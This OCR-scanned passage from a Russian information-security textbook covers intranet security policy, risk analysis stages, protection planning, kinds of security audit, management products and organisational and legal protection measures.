В случае, когда организация становится пользователем внешних автоматизированных систем (устанавливает соответствующие автоматизированные рабочие места, взаимодействующие с этими системами), она выполняет правила обеспечения ИБ, определенные для указанных систем. При этом ПИБ автоматизированных систем должны обеспечивать защиту систем организации от возможных угроз со стороны взаимодействующих внешних систем. В том случае, если организация использует услуги внешних по отношению к ней сетей телекоммуникации и связи, она обеспечивает защиту передаваемой в эти сети информации, а также защиту собственных систем от возможных угроз со стороны указанных внешних сетей.
В части информационного взаимодействия и управления все ПИБ должны быть иерархически связаны организационными мерами и, по возможности, технически. ПИБ более высокого уровня получает информацию от подчиненных ПИБ нижнего уровня, анализирует ее, передает результаты анализа на следующий уровень иерархии и, при необходимости, вырабатывает соответствующие управляющие воздействия.
Самый верхний уровень иерархии для всех ПИБ - это комплексная (и единая для всей организации) система обеспечения безопасности и защиты информации. В этой системе обобщается и анализируется соответствующая информация ото всех систем организации и вырабатываются необходимые управляющие воздействия, направленные на обеспечение их безопасного функционирования.
ПИБ может выполнять все возложенные на нее функции только при наличии юридической, организационной, технологической и технической определенности во взаимоотношениях со всеми внутренними и внешними пользователями, а также при наличии централизованной службы анализа и контроля эффективности защиты, не
446
Информационная безопасность открытых систем
входящей в состав подразделений, разрабатывающих и эксплуатирующих (использующих) систему организации.
В процессе создания и эксплуатации ПИБ при определении порядка доступа к защищаемой информации должен использоваться "принцип недоверия”, который означает, что все полномочия по доступу должны быть персональными, указаны явно и проверены перед предоставлением доступа, а также "принцип минимума полномочий", означающий, что по каждому запросу на доступ к информации предоставляются только полномочия, минимально необходимые для реализации данного запроса.
Любой доступ к информационным ресурсам должен фиксироваться подсистемой регистрации. Соответствующим подразделением безопасности и защиты информации регулярно проводится анализ порядка и правильности предоставления и регистрации доступа к информационным ресурсам. По результатам анализа должны, при необходимости, готовиться и реализовываться превентивные меры по предотвращению реализации угроз ИБ.
Эффективность и гибкость ПИБ достигается за счет комплексного применения и взаимодействия ряда различных защитных механизмов, которые должны функционировать в рамках единых принципов управления и не накладывать жестких ограничений на защищаемые технологии. Таким образом, безопасность информации в открытой системе обеспечивается согласованным применением технологических, организационных, технических и программных мер и средств защиты на всех этапах подготовки, обработки, передачи и хранения информации.
Обязанности по администрированию ПИБ возлагаются соответствующими приказами (распоряжениями) на администратора (администраторов) ИБ. Администраторы ИБ совместно с администраторами автоматизированных систем, сетей и приложений осуществляют управление процессами эксплуатации и обеспечения ИБ системы.
Средства защиты должны обеспечивать необходимый уровень защиты информации и не ухудшать существенно основные характеристики системы по производительности и надежности. Кроме того, средства защиты информации должны иметь сертификаты соответствующих государственных органов или быть рекомендованы к применению в открытых системах. При выборе средств защиты информации в России предпочтение должно отдаваться отечественным разработкам. В отдельных случаях (отсутствие отечественных аналогов с приемлемыми характеристиками) допускается временное (до появления соответствующих отечественных аналогов) применение средств защиты иностранного производства, включая использование встроенных механизмов защиты в импортных программных средствах и оборудовании.
Допускается встраивание в прикладные программные комплексы (ППК) сертифицированных либо рекомендованных к применению в открытых системах средств защиты силами специалистов головных организаций - разработчиков этих ППК.
Для разработки и установки ПИБ могут привлекаться на договорной основе только специализированные организации, имеющие государственные лицензии на указанные виды деятельности.
Требования по ИБ должны отражаться в технических заданиях на разработку всех открытых систем. Конкретные механизмы реализации этих требований включаются в техническую документацию на эти системы.
Разработка концепций, технических заданий, проектирование, создание, тестирование и сдача в эксплуатацию открытых систем в части вопросов ИБ должны осуще
5. Обеспечение информационной безопасности в открытых системах	447
ствляться под контролем Главного управления безопасности и защиты информации организации и управлений (отделов) безопасности и защиты информации в подразделениях.
Вся организационно-распорядительная, проектная и эксплуатационная документация по указанным системам в части вопросов ИБ должна согласовываться.
Эксплуатация системы должна быть обеспечена документацией, регламентирующей, в том числе:
1)	порядок установки и модификации программного, аппаратного и информационного обеспечения;
2)	порядок настройки и администрирования элементов системы (серверов, активного оборудования и т. д.);
3)	права и обязанности персонала.
Применяемые в организации системы должны предусматривать меры и средства, обеспечивающие разделение полномочий между сотрудниками служб сопровождения, эксплуатации, а также безопасности и защиты информации при проведении работ по внедрению, сопровождению и эксплуатации всей системы в целом.
Организационная структура служб разработки, сопровождения, эксплуатации, а также безопасности и защиты информации должна обеспечивать недопустимость выполнения одними и теми же сотрудниками как работ по эксплуатации действующих систем, так и работ по созданию, модификации, внедрению и сопровождению указанных систем.
Технические и программные средства, предназначенные для разработки и отладки ПО (либо содержащие средства разработки, отладки и тестирования программноаппаратного обеспечения), должны располагаться в сегментах открытой системы, изолированных от ее сегментов, задействованных в подготовке, вводе, обработке, хранении и передаче защищаемой информации.
Общеизвестен факт, что большинство организаций начинает думать о безопасности своих интранетов только после того, как происходит вторжение в них. Поэтому рассмотрение вопросов обеспечения безопасности компьютерных сетей должно происходить на самом начальном этапе проектирования сети с учетом следующих основных компонентов стратегии построения защищенных сетей.
1.	Обеспечение безопасности интранета на уровне выбранной сетевой архитектуры, сетевых протоколов и типа используемого в нем сетевого оборудования.
2.	Использование сертифицированных средств и технологий администрирования интранета.
3.	Использование квалифицированных специалистов и/или рекомендаций по обеспечению безопасности при конфигурации системы управления интранетом и его сервисов.
4.	Определение политики обеспечения безопасности интранета на этапе его проектирования.
5.	Постоянное изучение известных случаев нарушения безопасности и информирование соответствующих служб о выявленных происшествиях.
Мероприятиям по защите открытой системы предшествует этап планирования, в ходе которого вырабатываются решения о том, какие меры необходимо принять, чтобы обеспечить и гарантировать определенный уровень безопасности системы, и каких затрат это стоит. Построение комплексной системы обеспечения безопасно-
448
Информационная безопасность открытых систем
сти интранета представляет собой поэтапное решение вопросов на основе разработки и внедрения стратегической концепции развития интранета, включающей в себя и организационную структуру управления развитием, и организационную структуру обеспечения безопасности этого развития.
Рассмотрим основные этапы создания комплексной системы обеспечения ИБ интранета организации [95].
Первым этапом является оценка потребностей и целей организации, сбор и анализ требований к системе защиты интранета и его ресурсов с учетом их особенностей, вероятных угроз и слабых мест, на основе которых идет построение ПБ.
Определение ПБ невозможно без анализа рисков, который повышает степень осведомленности руководства и ответственных сотрудников о сильных и слабых сторонах системы защиты, создает базу для подготовки и принятия решений и оптимизирует размер затрат на защиту, поскольку большая часть ресурсов направляется на блокирование угроз, приносящих наибольший ущерб.
Анализ рисков (согласно стандарту ISO 17799) - это процесс определения угроз, уязвимостей, возможного ущерба, а также контрмер (мер защиты). Оценка рисков (Risk Assessment) — идентификация рисков, выбор параметров для их описания и получение оценок по этим параметрам. Управление рисками (Risk Management) - процесс определения контрмер в соответствии с оценкой рисков. Базовый (Baseline) анализ рисков - анализ рисков, проводимый в соответствии с требованиями базового уровня защищенности. Прикладные методы анализа рисков, ориентированные на данный уровень, обычно не рассматривают ценность ресурсов и не оценивают эффективности контрмер. Методы данного класса применяются в случаях, когда к ИС не предъявляется повышенных требований в области ИБ. Полный (Full) анализ рисков — анализ рисков для ИС, предъявляющих повышенные требования в области ИБ (более высокие, чем базовый уровень защищенности). Это предполагает определение ценности ресурсов, оценку угроз и уязвимостей, выбор адекватных контрмер, оценку их эффективности.
Производится анализ рисков для систем организации обычно по классической схеме, состоящей из шести этапов [96, 97].
I.	Описание состава системы: аппаратные средства, ПО, данные, документация и персонал.
2.	Определение уязвимых мест: выясняется уязвимость по каждому элементу системы с оценкой возможных источников угроз. При этом необходимо учитывать, что появляются новые угрозы по отношению к старым сервисам, а также сами новые сервисы и ассоциированные с ними угрозы.
3.	Оценка вероятностей реализации угроз.
4.	Оценка ожидаемых размеров потерь. Этот этап сложен, поскольку не всегда возможна количественная оценка данного показателя (например, ущерба репутации банка при нарушении конфиденциальности информации о счетах и операциях клиентов). Также рекомендуется вычисление риска от проявления угрозы (например, как произведения вероятности проявления угрозы на затраты по предотвращению угрозы или ликвидации последствий реализации угрозы).
5.	Составление необходимого и достаточного перечня мер защиты с детальным анализом возможных методов и средств защиты.
5. Обеспечение информационной безопасности в открытых системах
449
6.	Оценка выигрыша от предлагаемых мер. Если ожидаемые потери больше допустимого уровня, необходимо усилить меры защиты.
Существует множество методик анализа рисков. Некоторые из них основаны на достаточно простых табличных методах и не предполагают применения специализированного ПО, другие, наоборот, его используют. В табличных методах можно наглядно отразить связь факторов негативного воздействия (показателей ресурсов) и вероятностей реализации угрозы с учетом показателей уязвимостей. Применение каких-либо инструментальных средств не является обязательным, однако позволяет уменьшить трудоемкость анализа рисков и выбора контрмер. В настоящее время на рынке есть около двух десятков программных продуктов для анализа рисков: от простейших, ориентированных на базовый уровень безопасности, до сложных и дорогостоящих, позволяющих реализовать полный вариант анализа рисков и выбрать комплекс контрмер требуемой эффективности.
Программные средства, необходимые для полного анализа рисков, строятся с использованием структурных методов системного анализа и проектирования (Structured Systems Analysis and Design, SSADM) и представляют собой инструментарий для выполнения следующих операций: построения модели ИС с позиции ИБ; оценки ценности ресурсов; составления списка угроз и уязвимостей, оценки их характеристик; выбора контрмер и анализа их эффективности; анализа вариантов построения защиты; документирования (генерация отчетов). Примерами программных продуктов этого класса являются CRAMM (разработчик - компания Logica, Великобритания), MARION (разработчик CLUSIF, Франция), RiskWatch for Physical Security фирмы Riskwatch Inc. [http://www.riskwatch.com] для среды Windows (США), "Авангард" (Россия). Обязательным элементом этих продуктов является БД, содержащая информацию по инцидентам в области ИБ, позволяющая оценить риски и уязвимости, эффективность различных вариантов контрмер в определенной ситуации. Например, результатом работы пакета RiskWatch является список обнаруженных рисков и возможных угроз для компьютерной сети, телекоммуникационного оборудования и прикладных систем. Эта система может быть сконфигурирована таким образом, чтобы выявлять места возможного проникновения в интранет злоумышленников, а также обнаруживать возможность причинения ущерба служащим организации, где функционирует данный интранет.
Анализ риска завершается составлением и принятием ПБ. Она оформляется в виде документа, в общем виде (без излишней детализации) определяющего задачи в области защиты и особенности процесса защиты ресурсов. ПБ определяет стратегию и тактику построения системы безопасности компании. В российской терминологии документ, определяющий стратегию, называют концепцией, а документ, определяющий тактику, - политикой. На Западе принято создавать единый документ, включающий в себя оба аспекта.
ПБ отражает причины, по которым организация использует подключение к открытой, общедоступной сети, и определяет перечень сервисов, предоставляемых всем внутренним и внешним пользователям внутри и вне интранета организации. При выборе ПБ прежде всего необходимо определить, разрешать или запрещать доступ из других систем, например из Интернета, ко всем службам интранета или только к некоторым и кому запрещать или разрешать. Доступ из Интернета или другого интранета может быть открыт к большинству служб интранета с минимальным ограни
15—2368
450
Информационная безопасность открытых систем
чением по правам доступа, однако тогда могут стать доступными опасные сервисы, использование которых приведет к проблемам с ИБ. С другой стороны, время от времени могут появляться новые полезные сервисы, но они будут блокированы для пользователей. Тогда пользователям необходимо сообщить администратору о существовании нового сервиса; он, в свою очередь, должен оценить его и решить вопрос о возможности применения.
Значительная часть глобальной сети, к которой осуществляется подключение, находится вне территории компании, и часто вне ее зоны административного управления. Естественно, возникает желание системных администраторов и служб обеспечения безопасности максимально отделить внутрикорпоративную сеть от внешнего мира, но сделать это с минимальными неудобствами для работы персонала.
На втором этапе с учетом составленной ПБ и согласно полученным решениям составляется план обеспечения ИБ (иногда он называется таном защиты) - официальный документ, описывающий конкретные действия по реализации средств поддержания безопасности системы, который регулярно пересматривается и при необходимости корректируется.
План защиты содержит следующие разделы.
1.	Текущее состояние - описание существующей на момент подготовки плана системы защиты.
2.	Рекомендации - выбор основных мер, средств и способов защиты, реализующих ПБ для интранета. Будем называть этот комплекс мер системой безопасности. Здесь очень важно установить компромисс между ее ценой и удобством использования. В зависимости от желаемого уровня безопасности и выбранного способа защиты интранета могут потребоваться дополнительные аппаратные средства: маршрутизаторы и выделенные хосты, специальное ПО, а также ставка эксперта по безопасности.
3.	Ответственность — список ответственных сотрудников и разграничение сфер их деятельности.
4.	Расписание - определение порядка работы механизмов защиты, в том числе и средств контроля.
5.	Пересмотр положений плана защиты с указанием периода пересмотра.
Затем необходимо рассчитать, насколько система безопасности повлияет на производительность и работоспособность служб. Не секрет, что некоторые сетевые системы безопасности значительно замедляют скорость работы. Одни администраторы в этой ситуации ограничивают или запрещают такие полезные сетевые сервисы, как почта и передача файлов. Другие требуют распределения нового ПО для каждого хоста на внутренней сети, увеличивая тем самым нагрузку на системного администратора и создавая неудобства для пользователей.
Общей целью для разработчиков сетевых систем безопасности является достижение прозрачности систем безопасности, обеспечивающих защиту без значительного влияния на работу сети и не вынуждающих пользователей отказываться от полезных услуг или изучать новые.
Весьма важный фактор - установление баланса между безопасностью и сложностью в соответствии с основным принципом: чем сложнее система, тем она уязвимее и труднее для установки [98]. Сложные системы трудно сконфигурировать должным образом, а различные неточности могут привести к возникновению проблем с безо
5. Обеспечение информационной безопасности в открытых системах
451
пасностью. Даже эксперты не пришли к единому мнению, какой набор средств считать необходимым, а какой — избыточным.
Третьим и четвертым этапами решения задачи создания комплексной системы обеспечения ИБ являются соответственно:
	планирование действий в чрезвычайных ситуациях (указание резервных средств выхода из этих ситуаций и мер по восстановлению работоспособности интранета, для чего особенно необходимо хорошее документирование систем и процедур резервного копирования; важную роль в восстановлении может сыграть запасное оборудование — коммутаторы, кабели, сетевые платы и пр., а также планы мероприятий по эксплуатации и ремонту оборудования);
	окончательный выбор и реализация средств обеспечения ИБ.
На четвертом этапе для выбранных средств защиты ПБ детализируется с помощью правил безопасности двух типов.
1. Правила, регламентирующие процедуры доступа к информационным объектам, таким, как серверы, рабочие станции, каналы связи, БД, отдельные файлы, ресурсы ОС, т. е. ко всем бюджетам пользователей. Эти правила обычно оформляются в виде списков доступа (Access Lists), загружаемых в память сетевых устройств - маршрутизаторов, рабочих станций, коммутаторов, серверов, специализированных защитных комплексов и т. п.; для реализации правил безопасности этого типа разработано достаточно много инструментальных средств (например, специализированные модули сетевых ОС), контролирующих процесс соблюдения правил безопасности на уровне пользовательского процесса.
2. Правила, связанные с анализом содержимого сетевых пакетов, и соответственно с настройкой средств сетевого мониторинга и средств обнаружения вторжений злоумышленников; с технической точки зрения эта задача более сложная и предполагает привлечение достаточно совершенных аппаратных и программных средств, важнейшим из которых является анализатор протоколов.
Пятым этапом является текущий контроль за действенностью реализованных механизмов защиты на регулярной основе.
Очевидно, что абсолютная безопасность недостижима ни при каких затратах, поэтому основной принцип защиты состоит в разработке и реализации такой системы мер, которая уменьшит вероятность реализации возможных угроз до приемлемого уровня. Какой уровень разумно считать приемлемым? Чаще всего это минимизация суммы затрат на защитные мероприятия и самого ожидаемого ущерба, оценка которого очень важна при создании системы безопасности. Если возможный ущерб составляет 3 млн. руб. в год, не стоит тратить ежегодно 40 млн. руб., чтобы его предотвратить. Однако имеет смысл вкладывать ежегодно в систему безопасности 1 млн. руб., чтобы снизить ожидаемый годовой ущерб до 800 руб.
Можно отметить факторы, которые необходимо учитывать при создании системы безопасности интранета организации:
	какие службы должны обеспечивать безопасность внутри организации и на внешней сети;
	начальные и будущие финансовые затраты;
	удобство использования служб и их отказоустойчивость при сбоях;
	баланс между сложностью и уровнем безопасности;
	эффективность работы интранета при реализации выбранной системы безопасности.
452
Информационная безопасность открытых систем
Успех защиты интранета лежит в комплексном применении различных средств и методов, в создании оборонительной структуры с несколькими независимыми "рубежами защиты" и в постоянном ее совершенствовании.
5.9. Управление безопасностью открытых систем
Усложнение интранета делает процесс управления его информационной безопасностью все сложнее.
Для эффективного управления журналами событий (лог-файлами) нужно ответить на множество вопросов. Какие записи являются наиболее важными? Как отделить важные сообщения от рутинных уведомлений? Как обеспечить защиту данных во время передачи? Как синхронизировать метки времени, если множество устройств одновременно регистрируют атаку? Какую информацию нужно предоставлять правоохранительным органам, ведущим расследование? Как справиться с огромным объемом данных, которые генерирует большая сеть? На уровне сетевого управления к уже названным добавятся и такие вопросы. Как управлять устройством в безопасном режиме? Как передавать содержание на серверы общего доступа, чтобы исключить искажение данных во время передачи? Как отслеживать изменения в устройствах, чтобы исправить положение в случае атаки или сетевого сбоя?
По мере распространения узкоспециализированных продуктов, используемых компаниями для пресечения несанкционированной деятельности, возрастает значение базовой связующей среды — платформ, консолидирующих функции защиты интранета и управления его безопасностью. Подобные интегрированные среды позволяют унифицировать задачи по обеспечению безопасности под эгидой единой платформы, поддерживающей продукты многих производителей и наделенной новейшими функциями управления.
Управление безопасностью интранета, отдельные сегменты которого находятся за пределами организации, требует особого внимания.
Проанализировав названные в этой главе принципы и стандарты, получаем, что управление безопасностью интранета предполагает выполнение четырех основных взаимосвязанных задач [99].
1.	Защита физической среды, означающая ограничение доступа в помещение, где установлены компьютеры, которые имеют доступ к Интернету и включены в интранет предприятия, к серверам, рабочему месту системного администратора и администратора безопасности и т. п. Следует уделить внимание проблемам размещения оборудования и его утилизации. Основное (базовое) компьютерное оборудование должно быть отделено от оборудования общего пользования и расположено в отдельном помещении с соответствующей сигнализационной охраной, особыми дверями, сейфовыми или специальными замками и другими мерами предосторожности. ИС, поддерживающие критически важные или уязвимые сервисы организации, должны быть размещены в защищенных местах. Необходимо обеспечить физическую защиту оборудования, чтобы не допустить его повреждения. Могут потребоваться специальные меры для защиты от НСД и других угроз, а также для защиты вспомогательного оборудования, например системы электропитания и кабельных сетей. Также необходимо контролировать носители информации и обеспечивать их физическую защиту. Следует определить процедуры для зашиты носителей информации (магнитные ленты, диски, кассеты), входных-выходных данных и системной документации от повреж
5. Обеспечение информационной безопасности в открытых системах	453
дения, хищения и НСД. Необходимо определить обязанности и процедуры по администрированию и обеспечению функционирования компьютеров и сетей. Они должны быть зафиксированы в инструкциях и процедурах реагирования на инциденты. Для уменьшения риска некорректных или несанкционированных действий следует применять принцип разделения обязанностей.
Дополнительными на этом этапе являются следующие меры защиты:
	использование специальных корпусов с возможностью их блокирования от вскрытия или доступа к устройствам, позволяющим перезагружать компьютеры и серверы с последующим проникновением в их систему;
	использование специальных корпусов, позволяющих блокировать системы ввода информации при НСД к оборудованию;
	использование возможностей BIOS в случае платформы Intel для задания паролей и зашиты от НСД или возможностей EEPROM на других платформах для задания пароля и защиты от взлома;
	использование паролей в загрузчиках систем (так называемых boot loader) для защиты от проникновения через системные консоли или пульты управления;
	ведение протоколов на системах с целью обнаружения несанкционированной перезагрузки оборудования, изменения самого оборудования или его отдельных компонентов, обнаружения даты и времени произведенного НСД и использования привилегированных системных ресурсов для произведения незаконных действий.
2.	Выявление слабых мест интранета с целью определения его уязвимости по всей сети, состоящей из соединений, узлов (например, коммуникационного оборудования), хостов, рабочих станций, приложений и баз данных. Эти элементы нуждаются как в оценке эффективности их защиты, так и в поиске в них неизвестных уязвимостей. Процесс анализа защищенности предполагает исследование сети в целях выявления в ней слабых мест и обобщение полученных сведений, в том числе в виде подробных отчетов. Если система, реализующая данную технологию, содержит адаптивные компоненты, то устранение найденной уязвимости будет осуществляться автоматически. При анализе защищенности идентифицируются и проверяются:  уязвимость в реальном масштабе времени;
	уязвимость на сетевом уровне;
	уязвимость имитацией сетевых атак различного типа и попытками НСД;
	уязвимость на уровне ОС;
	уязвимость на уровне прикладного ПО;
	уязвимость во внутренней и во внешней сети;
	уязвимость сравнением эталонных значений с текущими;
	уязвимость МЭ, прокси-серверов и маршрутизаторов;
	уязвимость веб-, FTP- и почтовых серверов;
	уязвимость браузеров и почтовых программ;
	уязвимость на "подбор пароля";
	уязвимость удаленных сервисов;
	уязвимость учетных записей;
	уязвимость ОС и ее конфигурационных файлов;
	неустановленные или неизвестные "заплатки";
	права доступа к файлам и каталогам;
	сервисы, программы и устройства (например, модемные пулы) для УД;
162368
454
Информационная безопасность открытых систем
	антивирусные программы;
	целостность заданных файлов;
	неправильная настройка БД;
	новые уязвимости вскоре после их обнаружения.
3.	Распределение, где это возможно, отдельных функций и программноаппаратных средств защиты ИБ между ОС, сетями (или подсетями) и системами управления, между компонентами среды и приложений, между системой и пользователями и т. п. Далее потребуется четкое согласование режимов работы всех применяемых защитных механизмов.
4.	Централизация управления безопасностью и аудиторского контроля (аудит -это анализ накопленной информации, проводимый оперативно или периодически [20]) упрощает поддержку и оценку функционирования систем защиты. Необходимо отслеживать изменения в пользовательских, сетевых стандартах и стандартах создания средств защиты и методов самой защиты.
Надежная система защиты интранета должна не только выполнять оперативные функции сторожа, но и функции бухгалтера, фиксируя в аудиторском журнале все подозрительные события за время работы системы (попытки проникновения в систему извне, подбора пароля, запуска приложений из закрытых каталогов и т. д.).
Рассмотрим, из каких составляющих складывается сетевой аудит.
Аудит безопасности каждой новой системы (как программной, так и аппаратной) при ее инсталляции в интранет, целью чего является проверка ее соответствия политике и стандартам системной конфигурации.
Регулярный автоматизированный аудит интранета с целью выявления вторжений внешних злоумышленников или незаконных действий внутренних сотрудников.
Выборочный аудит безопасности, позволяющий проверить соответствие политике и стандартам безопасности (посредством нахождения незаконных действий) или проверить наличие определенного класса проблем (например, наличие уязвимости, о которой сообщает производитель).
Проверки важных файлов для оценки их целостности (например, файла паролей) или БД (например, платежные ведомости, ведомости продаж, маркетинговая информация).
Аудит активности учетных записей, цель которого — обнаружить бездействующие, ошибочные или неправильно используемые бюджеты пользователей.
Аудит и мониторинг работы интранета осуществляются из единого центра, занимающегося выполнением задач защиты. Его предназначение таково:
	помочь определить и оценить общее состояние системы защиты информации и защищенности интранета организации;
	помочь обнаружить несоответствия (рассогласованности) в интранете (например, из-за наличия большого числа разнородного программного и аппаратного обеспечения и неправильного толкования или воплощения ПБ);
	собрать информацию для анализа атак на интранет;
	проверить соответствие между ПБ и мерами ее осуществляющими.
Действия по аудиту и мониторингу являются наилучшим методом тестирования эффективности работы средств защиты интранета. Такая регулярная практика аудита поможет организации сбалансировать ресурсы, расходуемые на устранение наибольших выявленных в ходе этого аудита слабостей системы.
5. Обеспечение информационной безопасности в открытых системах
455
Укажем, что входит в каждый из вышеперечисленных видов аудита.
1.	Аудит при инсталляции каждой новой системы в интранете:
	помогает установить правила ее работы в контексте функций, осуществляемых каждым хостом или всем интранетом в целом;
	проверяет соответствие ее работы ПБ хоста;
	проверяет наличие в ней хорошо известных лазеек в обеспечении безопасности.
Данный вид аудита позволяет подобрать список соответствующих веб-страниц для проверки безопасности устанавливаемой системы, доступных в Интернете (например, http://www.security.mci.net/networkandcomputer.html). При необходимости можно создать свой список проверок, специфичный для каждого хоста интранета организации. Процесс аудита можно автоматизировать посредством использования или самостоятельного написания специальных программ.
2.	Регулярный аудит интранета позволяет сделать заключение о состоянии его защиты в целом. Во время аудита интранета должна выявляться большая часть вторжений злоумышленников, что подтверждает эффективность этого анализа. Злонаме-ренные/неадекватные действия сотрудников внутри самой организации также должны распознаваться на этом этапе аудита.
Многие средства, автоматизирующие процесс аудита, являются бесплатно распространяемыми (например, COPS и Tiger; Tripwire; swatch) и доступны в Интернете.
В Windows NT журнал безопасности Security Log может использоваться для отслеживания (аудита) большинства действий пользователей в системе. Существует три основные категории такого аудита: аудит сеансов работы пользователей, аудит доступа к объектам системы и аудит выполняющихся задач. Эти категории дают основную информацию при наблюдении за действиями пользователей. Многие администраторы просматривают журнал безопасности Windows NT и видят события входа пользователей в систему и выхода из нее, однако часто не могут правильно оценить увиденное. Здесь следует обращать внимание на отдельные параметры событий. Необходимо отслеживать использование локальных учетных записей на отдельных системах. Детальный аудит (detailed tracking) позволяет проследить за тем, какие именно программы были запущены на рабочей станции и какие программы выполнялись на сервере.
Чтобы следить за доступом к объектам в семействе современных ОС Windows, необходимо организовать аудит как на уровне системы, так и на уровне объектов. Windows производит аудит доступа в тот момент, когда пользователь пытается получить доступ к объекту через прикладную программу.
Некоторые замечания по осуществлению аудита интранета:
	идеальная частота регулярного аудита будет зависеть от каждого конкретного хоста интранета;
	аудит интранета должен выполняться не реже раза в неделю;
	аудит интранета лучше всего проводить поздно вечером, ночью, в выходные или праздничные дни, когда в интранете никто из сотрудников организации не работает; он должен осуществляться, если это позволяют ресурсы;
	среди фирм, продающих пакеты для автоматизации подобных задач, можно отметить, например, разработки фирмы ISS из пакета SafeSuit - сканеры System Security Scanner (S3), Intranet Scanner, Firewall Scanner, DataBase Scanner.
456
Информационная безопасность открытых систем
Регулярный аудит включает в себя и управление изменениями конфигурации. Когда сеть подвергается атаке, очень важно знать состояние критически важных сетевых устройств и сроки их последней модификации. План управления изменениями конфигурации должен быть составной частью ПБ. Как минимум следует записывать все изменения с помощью имеющихся на устройствах систем аутентификации и архивировать конфигурации.
3.	Выборочный аудит установленных в интранете систем должен выполняться без предварительного уведомления - неожиданно. При этом он может использоваться в следующих целях:
	как метод исследования возможных злонамеренных действий внутренних сотрудников;
	как метод тестирования на наличие специфических проблем (например, уязвимости определенных систем, таких, как сетевая файловая система NFS);
	для проверки на соответствие специальным стандартам и политике безопасности.
Результаты выборочного аудита должны быть представлены руководству организации для принятия решений по осуществлению управления информационной безопасностью организации.
4.	Аудит специальных файлов направлен на выявление умышленных действий, связанных с попытками изменения информационного наполнения системы или направленных на деструкцию системы, таких как:
	редактирование реестра;
	копирование информации с внешних носителей или из Интернета на сервер или локальный хост;
	изменение конфигурационных файлов, программных продуктов, инсталлированных согласно регламенту;
	удаление файлов вне регламента;
	редактирование файлов вне регламента;
	деинсталляция и/или реинсталляция вне регламента установленных программных продуктов;
	попытки форматирования системных дисков;
	удаление или замена системных файлов.
Аудит специальных файлов должен осуществляться каждую ночь (или вечер, или в момент полного отсутствия подключений) на каждом хосте. Последние копии этих файлов сравниваются с их предыдущими (эталонными) версиями. Некоторые пакеты для осуществления автоматического аудита на хостах имеют встроенную утилиту, которая сама проверяет определенные конфигурационные системные файлы и их модификацию.
5.	Аудит активности учетных записей пользователей подразумевает, что они должны регулярно проверяться на дату последнего доступа. Любой бюджет, к которому не обращались в течение N дней (например, 30, 60, 90), должен быть соответствующим образом помечен, и по нему нужно составить отчет. Неактивные учетные записи должны стать недоступными и их нужно заархивировать. По возможности необходимо отслеживать попытки сделать доступными недоступные бюджеты через оболочку (shell), такую, как noshell (заменяет команду login для недоступных бюджетов; эту оболочку можно скопировать из архива организации COAST).
S. Обеспечение информационной безопасности в открытых системах
457
Некоторые замечания по аудиту бюджетов пользователей таковы:
	"последний доступ" означает дату последней попытки запуска команд login, ftp, гср и rshell;
	бездействующие бюджеты иногда используются злоумышленниками или внутренними пользователями для того, чтобы скрыть свои действия.
Итак, общими задачами аудита являются:
	контроль за системной конфигурацией;
	обнаружение уязвимостей;
	контроль доступа к файлам;
	анализ информационных потоков;
	контроль неблагонадежных сотрудников;
	контроль утечки конфиденциальной информации;
	контроль действий администратора;
	контроль эффективности работы подразделения информационных технологий;
	контроль доступа к ресурсам;
	обнаружение неизвестных устройств (и модемов);
	анализ данных от сетевого оборудования;
	обнаружение конфигурации по умолчанию;
	инвентаризация и построение карты сети;
	антивирусная защита;
	анализ эффективности настроек средств защиты, например МЭ;
	резервирование функций защиты;
	распознавание шаблонов атак и анализ аномальных действий;
	сбор доказательств и расследование инцидентов.
Известны некоторые продукты, автоматизирующие процесс управления безопасностью [100]. Задачи ПО компаний GuardedNet, QI Labs, TriGeo Network Security и Visionael заключаются не только в выполнении функций МЭ или СОВ, но и в том, чтобы помочь сотрудникам информационной службы организовать автоматическое управление устройствами разных производителей и более эффективно использовать генерируемые ими данные. Компания GuardedNet выпускает ПО neuSecure, которое помогает получать централизованное представление об устройствах защиты, работающих в интранете. ПО выводит на экран "приборную панель", позволяющую менеджерам следить за событиями на всех устройствах портала. Среди конкурентов GuardedNet можно отметить компании ArcSight. e-Security и NetForensics. Каждая из них предлагает продукты, которые обрабатывают информацию, связанную с вопросами защиты и получаемую от различных устройств. Эти данные фильтруются, чтобы минимизировать число ложных сигналов тревоги и предоставить администратору безопасности более объективную картину состояния сети. Компания TriGeo предлагает пакет программ Contego для централизованного управления событиями в области защиты, включая выработку политики реакций более чем на 275 типов событий и на тысячи сигнатур. Фирма Visionael, занимающаяся разработкой ПО управления активами и складскими запасами, выпускает пакет Security Audit. Он находит уязвимые места и потенциальные риски и автоматически блокирует бреши в системе безопасности. Компания QI Labs модернизировала свой продукт QVision, предназначенный для идентификации информационных ресурсов в Интернете и внутреннего сетевого трафика, сравнения информации с заданными шаблонами и предотвращения утечки
458
Информационная безопасность открытых систем
интеллектуальной собственности. Подобное ПО помогает сократить время, затрачиваемое на фильтрацию сведений из журналов безопасности и выявление смысла в собранных данных. Инструментальные средства управления системой безопасности позволяют руководителям информационных служб делать выводы о том, может ли конкретное событие повлечь за собой ущерб.
5.10.	Организационно-правовые методы защиты открытых систем
Организационно-правовые методы защиты интранета представляют собой упорядоченную совокупность организационных решений, нормативов, законов и правил, определяющих общую организацию работ по защите информации в интранете. Их можно структурно представить так.
1.	Организационно-правовые вопросы:
	органы, подразделения и лица, ответственные за защиту;
	нормативно-правовые, методические и другие материалы, регламентирующие защиту;
	меры ответственности за нарушение правил защиты;
	порядок разрешения спорных ситуаций.
2.	Регистрационные аспекты, включающие фиксацию фактов ознакомления с информацией, изменения данных, копирования содержания и "подписи" под документом.
3.	Юридические аспекты. Утверждение в качестве законов правил защиты информации, мер ответственности за нарушение правил защиты, регистрационных решений и процессуальных норм и правил.
4.	Морально-психологические аспекты, включающие подбор и расстановку кадров, обучение персонала, систему моральных и материальных стимулов, контроль за соблюдением правил, контроль за персоналом с высоким уровнем полномочий в отношении интранета (программистами, администраторами БД и т. п.).
Организационные меры защиты связаны (прямо или косвенно) с административным управлением и направлены на создание таких условий эксплуатации, которые сведут к минимуму уязвимость интранета. Предпринимаемые администрацией действия по защите можно условно разделить по выделенным ниже направлениям.
1.	Меры физической защиты интранета (включают организационные и технические мероприятия по физической защите помещений, в которых находятся вычислительная техника и носители данных, от пожара, стихийных бедствий, массовых беспорядков, терроризма и т. п.):
	физическая изоляция территорий, зданий и помещений;
	ограждение территории (установка сеток, столбов, решеток, заборов) и совмещение препятствий с датчиками систем охранной сигнализации;
	оборудование зданий оконными решетками, специальное остекление окон, установка специальных дверей и датчиков проникновения;
	установка систем дистанционного наблюдения за территорией и помещениями и организация диспетчерских пунктов охранной и пожарной сигнализации;
	организация зон безопасности;
